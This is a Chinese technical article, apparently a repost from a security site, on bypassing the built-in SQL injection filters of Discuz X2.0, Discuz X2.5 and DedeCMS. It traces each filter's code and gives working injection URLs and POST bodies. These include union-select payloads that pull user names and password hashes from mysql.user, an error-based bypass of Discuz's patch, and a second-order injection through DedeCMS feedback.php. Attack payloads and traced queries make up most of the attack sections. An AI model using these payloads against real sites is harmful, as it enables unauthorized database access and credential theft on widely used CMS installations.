<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/papers/353

    0x00 前言


    目前主流的CMS系統當中都會內置一些防注入的程序,例如Discuz、dedeCMS等,本篇主要介紹繞過方法。

    0x01 Discuz x2.0防注入


    防注入原理

    這里以Discuz最近爆出的一個插件的注入漏洞為例,來詳細說明繞過方法。

    漏洞本身很簡單,存在于/source/plugin/v63shop/config.inc.php中的第29行getGoods函數中,代碼如下所示

    #!php
    function getGoods($id){
          $query = DB::query('select * from '.DB::table('v63_goods').' where `id` ='.$id);
            $goods = DB::fetch($query);
            $goods['endtime2'] = date('Y-m-d',$goods['endtime']);
            $goods['price2'] = $goods['price'];
            if($goods['sort'] ==2){
                $goods['endtime2']= date('Y-m-d H:i:s',$goods['endtime']);
                $query = DB::query("select * from ".DB::table('v63_pm')." where gid='$goods[id]' order by id desc ");
                $last = DB::fetch($query);
                if(is_array($last)){
                    $goods['price'] = $last['chujia'];
                    $goods['uid']  = $last['uid'];
                    $goods['username']  = $last['username'];
                    $goods['pm'] = $last;
                    if(time()+600> $goods['endtime']){
                        $goods['endtime'] = $last[time]+600;
                        $goods['endtime2']= date('Y-m-d H:i:s',$last[time]+600);
                    }
                }
            }
            return $goods;
    }
    

    觸發漏洞的入口點在/source/plugin/v63shop/goods.inc.php中的第6行和第8行,如圖所示: ? enter image description here

    下面可以構造如下請求觸發漏洞了,如圖所示: ? enter image description here

    不過程序內置了一個_do_query_safe函數用來防注入,如圖所示 ? enter image description here

    這里跟蹤一下_do_query_safe()函數的執行,它會對以下關鍵字做過濾,如圖所示:

    ?enter image description here

    因為我們的url中出現了union select,所以會被過濾掉。

    繞過方法

    這里利用Mysql的一個特性繞過_do_query_safe函數過濾,提交如下url:

    http://localhost/discuzx2/plugin.php?id=v63shop:goods&pac=info&gid=1 and 1=2 union /*!50000select*/ 1,2,3,4,5,6,concat(user,0x23,password),8,9,10,11,12,13 from mysql.user
    

    這里我們跟蹤一下,繞過的具體過程。它會將/**/中間的內容去掉,然后保存在$clean變量中,其值為

    select * from pre_v63_goods where `id` =1 and 1=2 union /**/ 1,2,3,4,5,6,concat(user,0x23,password),8,9,10,11,12,13 from mysql.user
    

    再進一步跟蹤,它會將/**/也去掉,然對$clean變量做過濾,如圖所示

    enter image description here ? 此時$clean值,如圖所示 ? enter image description here

    此時$clean變量中不在含有危險字符串,繞過_do_query_safe函數過濾,成功注入,截圖如下: ? enter image description here

    0x02 Discuz X2.5防注入


    防注入原理

    Discuz X2.5版修改了防注入函數的代碼,在/config/config_global.php中有如下代碼,如圖所示 ? enter image description here

    這里$_config['security']['querysafe']['afullnote'] 默認被設置為0,重點關注這一點。

    這里跟蹤一下失敗的原因,如圖所示: ? enter image description here

    此時觀察一下變量,_do_query_safe($sql)函數會將/**/中的內容去掉,然后存到$clean中,如圖所示: ? enter image description here

    其實,程序執行到這里跟Discuz X2.0沒有區別,$clean的值都一樣。但是關鍵在下面,如圖所示:

    enter image description here ? 因為前面提到$_config['security']['querysafe']['afullnote']=’0’,所以這里不會替換/**/為空,并且它在后面會判斷$clean中是否會出現“/*”,如圖所示: ? ?enter image description here

    所以注入失敗。

    繞過方法

    在Mysql當中,[email protected],可以用set @a=’abc’,來為變量賦值。這里為了合法的構造出一個單引號,目的是為了讓sql正確,我們可以用@'放入sql語句當中,幫助我們繞過防注入程序檢查。

    這里利用如下方式繞過_do_query_safe函數過濾,如下所示:

    http://localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=@`'` union select @`'`,2,3,4,5,6,7,concat(user,0x3a,password),9,10,11,12,13,14 from mysql.user
    

    這里跟蹤一下執行的過程,如圖所示:

    enter image description here ? 這里有一個if判斷,重點看這句

    #!php
    $clean = preg_replace("/'(.+?)'/s", '', $sql);
    

    它會將$sql中單引號引起來的字符串省略掉,所以我們可以用繞過dede防住ids的思路,利用

    @`'` union select @`'`
    

    這樣的方法,在下面的過濾中省掉union select,這里跟蹤一下,如圖所示: ? enter image description here

    這樣便繞過了_do_query_safe函數檢測,成功繞過防注入,如圖所示: ? enter image description here

    不過后來Discuz官方發布了一個修復補丁,但并沒用從根本上解決問題。官方的修復代碼如下: ? enter image description here

    加了一個判斷,過濾字符串中的@,但是始終沒有修復根本問題,關鍵是上邊的那個if判斷會將單引號之間的內容(包括單引號)替換為空,代碼如下:

    #!php
    if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false) {
        $clean = preg_replace("/'(.+?)'/s", '', $sql);
    }
    

    [email protected],從而繞過它的過濾,利用如下所示:

    http://localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=`'` or @`''` union select 1 from (select count(*),concat((select database()),floor(rand(0)*2))a from information_schema.tables group by a)b where @`'`
    

    這里我引入了`'`[email protected],并將第一個@`'`替換為@`''`,這樣便可以替換掉第二個@,這里我們跟蹤一下代碼,如圖所示: ? enter image description here

    可以看到$clean變為

    select * from pre_v63_goods where `id` =``
    

    成功繞過補丁,如圖所示:

    enter image description here ? 不過這樣做的代價是不能再使用union select了,只能通過報錯獲取數據。

    0x03 DedeCMS防注入


    防注入原理

    這里我也以最近熱點分析的dedeCMS feedback.php注入漏洞為例,分析如何繞過其防注入系統。不過在這之前,還得先提一下這個漏洞。

    漏洞存在于/plus/feedback.php中的第244行,代碼如下所示

    if($comtype == 'comments')
        {
            $arctitle = addslashes($title);
            $typeid = intval($typeid);
            $ischeck = intval($ischeck);
            $feedbacktype = preg_replace("#[^0-9a-z]#i", "", $feedbacktype);
            if($msg!='')
            {
                $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)
                       VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); ";
                $rs = $dsql->ExecuteNoneQuery($inquery);
                if(!$rs)
                {
                    ShowMsg(' 發表評論錯誤! ', '-1');
                    //echo $dsql->GetError();
                    exit();
                }
            }
        }
        //引用回復
        elseif ($comtype == 'reply')
        {
            $row = $dsql->GetOne("SELECT * FROM `#@__feedback` WHERE id ='$fid'");
            $arctitle = $row['arctitle'];
            $aid =$row['aid'];
            $msg = $quotemsg.$msg;
            $msg = HtmlReplace($msg, 2);
            $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
                    VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";
            $dsql->ExecuteNoneQuery($inquery);
        }
    

    這里$title變量未初始化,所以$title可以作為可控變量,所以我們可以進一步控制$arctitle。跟蹤發現$arctitle被直接帶入SQL語句當中,但是這里執行的INSERT語句入庫之后會將前面addslashes轉義的單引號在會員還原回去。進一步跟蹤下面的代碼,在第268行,如下所示

    $row = $dsql->GetOne("SELECT * FROM `#@__feedback` WHERE id ='$fid'");
    $arctitle = $row['arctitle'];
    

    這里的查詢#@__feedback表正式上面INSERT的那個表,arctitle字段取出來放到$arctitle變量當中,繼續跟蹤到第273行,這下豁然開朗了,

    $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
                    VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";
    

    這里$arctitle變量未作任何處理,就丟進了SQL語句當中,由于我們可以控制$title,雖然$arctitle是被addslashes函數處理過的數據,但是被INSERT到數據庫中又被還原了,所以綜合起來這就造成了二次注入漏洞。

    但是這里如何利用呢,通過跟蹤代碼發現,整個dede在整個過程中始終沒有輸出信息,所以我們無法通過構造公式報錯來獲取數據,但是進一步分析代碼發現#@__feedback表當中的msg字段會被輸出。由于$arctitle變量是可控的,所以我們可以通過構造SQL語句,將我們要執行的代碼插入到msg字段當中,這樣便可以輸出執行的內容了。

    繞過方法

    眾所周知,dedeCMS內置了一個CheckSql()函數用來防注入,它是80sec開發的通用防注入ids程序,每當執行sql之前都要用它來檢查一遍。其代碼如下所示:

    #!php
    function CheckSql($db_string,$querytype='select')
        {
            global $cfg_cookie_encode;
            $clean = '';
            $error='';
            $old_pos = 0;
            $pos = -1;
            $log_file = DEDEINC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';
            $userIP = GetIP();
            $getUrl = GetCurUrl();
    
            //如果是普通查詢語句,直接過濾一些特殊語法
            if($querytype=='select')
            {
                $notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";
    
                //$notallow2 = "--|/\*";
                if(preg_match("/".$notallow1."/i", $db_string))
                {
                    fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
                    exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");
                }
            }
    
            //完整的SQL檢查
            while (TRUE)
            {
                $pos = strpos($db_string, '\'', $pos + 1);
                if ($pos === FALSE)
                {
                    break;
                }
                $clean .= substr($db_string, $old_pos, $pos - $old_pos);
                while (TRUE)
                {
                    $pos1 = strpos($db_string, '\'', $pos + 1);
                    $pos2 = strpos($db_string, '\\', $pos + 1);
                    if ($pos1 === FALSE)
                    {
                        break;
                    }
                    elseif ($pos2 == FALSE || $pos2 > $pos1)
                    {
                        $pos = $pos1;
                        break;
                    }
                    $pos = $pos2 + 1;
                }
                $clean .= '$s$';
                $old_pos = $pos + 1;
            }
            $clean .= substr($db_string, $old_pos);
            $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
    
            //老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以檢查它
            if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
            {
                $fail = TRUE;
                $error="union detect";
            }
    
            //發布版本的程序可能比較少包括--,#這樣的注釋,但是黑客經常使用它們
            elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)
            {
                $fail = TRUE;
                $error="comment detect";
            }
    
            //這些函數不會被使用,但是黑客會用它來操作文件,down掉數據庫
            elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
            {
                $fail = TRUE;
                $error="slown down detect";
            }
            elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
            {
                $fail = TRUE;
                $error="slown down detect";
            }
            elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)
            {
                $fail = TRUE;
                $error="file fun detect";
            }
            elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)
            {
                $fail = TRUE;
                $error="file fun detect";
            }
    
            //老版本的MYSQL不支持子查詢,我們的程序里可能也用得少,但是黑客可以使用它來查詢數據庫敏感信息
            elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
            {
                $fail = TRUE;
                $error="sub select detect";
            }
            if (!empty($fail))
            {
                fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
                exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
            }
            else
            {
                return $db_string;
            }
        }
    

    但通過跟蹤這段代碼發現,它有個特征就是會將兩個單引號之間的內容用$s$替換,例如’select’會被替換為$s$,這里用兩個@`'`包含敏感字,這樣$clean變量中就不會出現敏感字,從而繞過CheckSql()函數檢測。

    這里可以設置title為如下代碼,一方面繞過ids防注入代碼檢測,另一方面加一個#注釋掉后面的代碼,但是還要做一下變形,就是這個char(@`'`)了。因為#@__feedback的所有字段都被設置為NOT NULL,而@`'`是一個變量,默認為NULL,直接插入@`'`的話會報錯,所以需要以char(@`'`)的方法轉換一下。

    ',char(@`'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,
    

    跟蹤代碼,如圖所示 ? enter image description here

    如下SQL語句

    INSERT INTO `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('1','1','游客','\',char(@`\'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,','127.0.0.1','1','1364401789', '0','0','0','feedback','1','genxor');
    

    被替換為了

    insert into `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) values ($s$,$s$,$s$,$s$,$s$,$s$,$s$, $s$,$s$,$s$,$s$,$s$,$s$);
    

    字符串中沒有任何敏感字,成功繞過CheckSql()函數檢測。

    POST如下請求給feedback.php,如下所示:

       action=send&comtype=comments&aid=1&isconfirm=yes&feedbacktype=feedback&face=1&msg=genxor&notuser=1&typeid=1&title=',char(@`'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,
    

    跟蹤代碼,實際執行的SQL語句跟蹤變量如下所示: ? enter image description here

    被插入數據庫中的內容,如圖所示: ? enter image description here

    下面再POST如下內容給feedback.php,

    action=send&comtype=reply&aid=1&isconfirm=yes&feedbacktype=feedback&fid=50
    

    跟蹤一下這里執行的SQL語句,如圖所示 ? enter image description here

    所以select user()執行了,并且可以作為msg字段輸出。

    0x04 總結


    在寫這篇文章之前,我分析了很多常用的cms系統的源碼,包括discuz、dedecms、phpwind、phpcms等,只有在discuz、dedecms這兩個系統中用到通用防注入,但是它們所覆蓋的用戶群已將相當龐大了。如果能在發現程序注入漏洞的情況下,這些繞過方法還是很有價值的。

    97av